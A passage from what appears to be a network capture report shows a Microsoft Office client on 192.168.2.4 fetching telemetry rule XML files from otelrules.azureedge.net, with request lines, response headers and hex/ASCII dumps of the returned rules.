xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:14 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:14 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220414Z-16547b76f7fwcwmrhC1DFWtp0400000002c0000000001vs4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:15 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:14 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:15 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f00fef9b-501e-0029-7e4b-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220415Z-164f84587bfdt5l2hC1DFW88gs00000004u00000000042fg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:15 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:15 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:15 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220415Z-16547b76f7fp6s5dhC1DFWe28g00000003m000000000prm2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:15 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:15 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:15 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 398e56de-301e-001f-6c81-37aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220415Z-16559997f87vprq2hC1DFWczdn00000000dg000000004fr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:15 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:15 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:15 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5f02778f-801e-0048-0e9a-37f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220415Z-164f84587bfrrmqdhC1DFWvu6s000000051g00000000cw7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:15 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:15 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:16 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:15 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220415Z-16547b76f7fgfpmjhC1DFWw6ec00000005tg00000000qfud x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:16 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:15 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: fa116fd5-501e-0064-65a6-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220415Z-1866b5c5fbblmqrkhC1DFWf9ns00000004d0000000010qaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:16 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:16 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c6213e4b-c01e-0014-58b2-37a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220416Z-164f84587bfdfkt7hC1DFW4fas00000004eg00000000aqnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:16 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:16 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220416Z-16547b76f7fm8pcwhC1DFWaxcc00000004k0000000004u1g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:16 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 1d8bef7c-801e-002a-176f-3731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220416Z-164f84587bfm8kdnhC1DFWey4g00000006e000000000v8zr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:16 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220416Z-16547b76f7fzwxm2hC1DFWt5hw00000003xg00000000umyg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:16 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:16 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220416Z-16547b76f7fw2955hC1DFWsptc00000006wg00000000f5ta x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
